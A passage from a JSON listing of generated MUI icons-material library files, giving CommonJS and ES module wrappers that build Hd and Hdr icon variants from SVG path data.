    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 12c-.41 0-.75-.34-.75-.75V13h-2v1.25c0 .41-.34.75-.75.75S6 14.66 6 14.25v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.75h2V9.75c0-.41.34-.75.75-.75s.75.34.75.75v4.5c0 .41-.34.75-.75.75m3.25-6H17c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-3.5c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5m1 4.5h2v-3h-2z\"\n}), 'HdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM11 15H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm2-6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm1.5 4.5h2v-3h-2z\"\n}), 'HdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM11 15H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm2-6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm1.5 4.5h2v-3h-2z\"\n}), 'HdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5h2v3h-2zM19 5H5v14h14zm-8 10H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm7-1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2M5 5h14v14H5zm4.5 6.5h-2V9H6v6h1.5v-2h2v2H11V9H9.5zM17 9h-4v6h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2z\"\n}, \"1\")], 'HdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5h2v3h-2zM19 5H5v14h14zm-8 10H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm7-1c0 .55-.45 1-1 1h-4V9h4c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2M5 5h14v14H5zm4.5 6.5h-2V9H6v6h1.5v-2h2v2H11V9H9.5zM17 9h-4v6h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2z\"\n}, \"1\")], 'HdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAuto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.21 15-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\"\n}, \"1\")], 'HdrAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAuto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.21 15-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\"\n}, \"1\")], 'HdrAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-.99-14L6.88 17h1.9l1-2.81h4.44l.99 2.81h1.9L12.98 6zm-.66 6.59 1.6-4.55h.09l1.6 4.55z\"\n}), 'HdrAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-.99-14L6.88 17h1.9l1-2.81h4.44l.99 2.81h1.9L12.98 6zm-.66 6.59 1.6-4.55h.09l1.6 4.55z\"\n}), 'HdrAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3 14.41-.78-2.22H9.78l-.79 2.22c-.12.35-.46.59-.83.59-.62 0-1.05-.62-.83-1.2l3.34-8.88C10.88 6.37 11.4 6 12 6c.59 0 1.12.37 1.33.92l3.34 8.88c.22.58-.21 1.2-.83 1.2-.38 0-.72-.24-.84-.59\"\n}, \"1\")], 'HdrAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3 14.41-.78-2.22H9.78l-.79 2.22c-.12.35-.46.59-.83.59-.62 0-1.05-.62-.83-1.2l3.34-8.88C10.88 6.37 11.4 6 12 6c.59 0 1.12.37 1.33.92l3.34 8.88c.22.58-.21 1.2-.83 1.2-.38 0-.72-.24-.84-.59\"\n}, \"1\")], 'HdrAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm6.5-4.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm6.5-4.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM16.5 16H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM16.5 16H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16H7.25c-.41 0-.75.34-.75.75v4.5c0 .41.34.75.75.75H10c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5m0 4.5H8v-3h2zM4.25 16c-.41 0-.75.34-.75.75V18h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75m19 2.5H22v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75h1.25v1.25c0 .41.34.75.75.75s.75-.34.75-.75V20h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75M16.5 16h-2.75c-.41 0-.75.34-.75.75v4.56c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5m0 2.5h-2v-1h2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.44 9c-.24 0-.45-.15-.53-.38l-.49-1.41h-2.83l-.5 1.41c-.08.23-.29.38-.53.38-.39 0-.67-.39-.53-.76l2.12-5.65c.14-.36.47-.59.85-.59s.71.23.85.59l2.12 5.65c.14.37-.13.76-.53.76\"\n}, \"1\")], 'HdrAutoSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16H7.25c-.41 0-.75.34-.75.75v4.5c0 .41.34.75.75.75H10c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5m0 4.5H8v-3h2zM4.25 16c-.41 0-.75.34-.75.75V18h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75m19 2.5H22v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75h1.25v1.25c0 .41.34.75.75.75s.75-.34.75-.75V20h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75M16.5 16h-2.75c-.41 0-.75.34-.75.75v4.56c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5m0 2.5h-2v-1h2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.44 9c-.24 0-.45-.15-.53-.38l-.49-1.41h-2.83l-.5 1.41c-.08.23-.29.38-.53.38-.39 0-.67-.39-.53-.76l2.12-5.65c.14-.36.47-.59.85-.59s.71.23.85.59l2.12 5.65c.14.37-.13.76-.53.76\"\n}, \"1\")], 'HdrAutoSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm12-2v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM13 22h1.5v-2h1.1l.9 2H18l-.86-2H18v-4h-5zm1.5-4.5h2v1h-2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm12-2v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM13 22h1.5v-2h1.1l.9 2H18l-.86-2H18v-4h-5zm1.5-4.5h2v1h-2zM11.97 5.3l-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm13-2H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm1.97-15.2-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm13-2H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm1.97-15.2-1.02 2.89h2.1L12.03 5.3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.04 9-.63-1.79h-2.83L9.96 11H8.74l2.63-7h1.25l2.63 7z\"\n}, \"1\")], 'HdrAutoSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.21 15-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\"\n}, \"1\")], 'HdrAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.21 15-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\"\n}, \"1\")], 'HdrAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m3.21 13-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.01 6 6.88 17h1.9l1-2.81h4.44l.99 2.81h1.9L12.98 6zm-.66 6.59 1.6-4.55h.09l1.6 4.55z\"\n}, \"3\")], 'HdrAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrAutoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.04 8.04h-.09l-1.6 4.55h3.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m3.21 13-.98-2.81H9.78l-1 2.81h-1.9l4.13-11h1.97l4.13 11z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.01 6 6.88 17h1.9l1-2.81h4.44l.99 2.81h1.9L12.98 6zm-.66 6.59 1.6-4.55h.09l1.6 4.55z\"\n}, \"3\")], 'HdrAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 2C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m1 7h-2V9H9V7h2V5h2v2h2v2h-2zm11 9h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zm-6-1.5c0 .6-.4 1.1-.9 1.4L18 22h-1.5l-.9-2h-1.1v2H13v-6h3.5c.8 0 1.5.7 1.5 1.5zm-1.5 